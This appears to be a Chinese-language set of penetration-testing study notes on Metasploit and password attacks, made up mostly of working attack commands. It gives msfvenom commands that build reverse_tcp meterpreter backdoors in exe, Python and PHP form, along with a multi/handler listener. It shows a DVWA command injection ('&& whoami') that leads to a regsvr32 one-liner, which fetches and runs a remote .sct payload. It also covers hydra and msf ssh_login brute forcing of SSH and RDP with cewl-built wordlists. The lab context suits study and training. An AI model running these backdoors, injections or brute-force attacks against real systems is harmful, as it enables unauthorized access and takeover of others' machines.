二、生成后门程序传到在目标机器上,这样下回目标机器运行该程序,主机监听到之后就可以直接进入了,不管漏洞在不在。

1.生成后门程序:

①msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.158 lport=8881 -f exe > localmsf8881.exe

②msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.80.158 lport=8881 -f raw > localmsf8881.py

③msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.80.158 lport=8881 -f raw > localmsf8881.php

可以生成很多种后门程序,只要在目标机器上运行,那么就可以利用

2.本机上使用模块,设置payload和监听端口:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.80.158

set LPORT 8881

run

3.现在如果靶机上运行localmsf8881,就会传回信息给主机,主机上的这个命令行就会得到一个meterpreter的session,之后就可以进入了

img

2.metasploit-部分命令执行获取权限

一、前期运行:web中,当可以输入某些查询框时,该输入会被运行在命令行中,例如ping命令。(DVWA)

1.web要求输入ip地址,经检查可以发现输入的内容会被完整运行到服务器的命令行下。

例如输入127.0.0.1 && whoami,web反馈的信息除了ping 127.0.0.1,还会将whoami这个命令的信息给返回。

2.在Msfconsle中使用web_delivrery模块use exploit/multi/script/web_delivery,之后设置对应参数:

(1)设置target,需要目标服务器上有对应脚本语言,使得目标服务器上能够运行我们注入的命令,打不动就代表没有,或者没有写入环境变量等等原因:

img

这里选择目标语言为Regsvr32

(2)查看还需要的配置,配置一下:

img

这里的lhost就是攻击方的ip

(3)设置攻击载荷,生成注入命令:

set payload windows/meterpreter/reverse_tcp (使用windows的meterpreter,建立连接reverse_tcp)

然后就会生成命令:

img

这就代表我们需要进行命令注入,在目标服务器上执行:

regsvr32 /s /n /u /i:http://192.168.80.159:8080/IVJqvpIJSzu.sct scrobj.dll

此时msfconsole就会进入停滞状态,一旦检查到有目标服务器运行了上述命令,就会生成meterpreter连接。

img

打不通可能是防火墙或者杀毒软件之类的关系

3.弱口令密码破解登录

1.制作字典:

(1)利用cewl制作:

cewl -d 2 -m 5 -w word.txt www.baidu.com

(d:deepth,爬取层数

m:….性能,设置越大爬取越快)

(2)利用工具制作:

http://www.bugku.com/mima/ 输入相应信息即可生成

(3)利用github上的工具:

https://github.com/TheKingOfDuck/fuzzDicts

https://github.com/fuzzdb-project/fuzzdb

▲生成的字典可能有中文,使用%s/\v[^\x00-\xff]+//g来强制删除中文[^\x00-\xff]即中文的表示,双字节字符

2.利用字典爆破SSH/RDP:

(1)先扫描是否开启了ssh端口:

nmap -sT -T4 ip:快速扫描

(1)使用hydra:

参数设置:

-l(Login):想要破解的用户,例如root

-L(FILE):指定用户名字典

-p(pass):指定密码,如果有密码还爆破干啥

-P(FILE):指定密码字典

-s(PORT):指定爆破端口

-M(FILE):指定目标列表文件,如果有多个IP目标需要攻击,可用来指定

-C(FILE):

-f :使用-M参数后,找到第一登录名和密码即终止

▲hydra -l root -p root 127.0.0.1 -s 2222 ssh -f:用root密码登录root通过ssh

▲hydra -l root -P word.txt 127.0.0.1 -s 2222 -f ssh

▲hydra -l administrator -P word.txt 127.0.0.1 rdp(类似windows下的ssh)

★可以使用kali自带的密码字典尝试:

目录在/usr/share/wordlists/metasploit/下,有很多字典密码

(2)使用msf攻击

①搜索一下:search login //login等等

②通过查找到的使用该模块:use auxiliary/scanner/ssh/ssh_login

③show options看一下需要设置什么信息,设置ip,用户名,密码字典,端口,爆破线程数量等信息,然后直接run即可。

set RHOST/USERNAME/PASS_FILE/RPORT/THREADS等等

3.Burp(burpsuite)爆破后台密码:(还没学)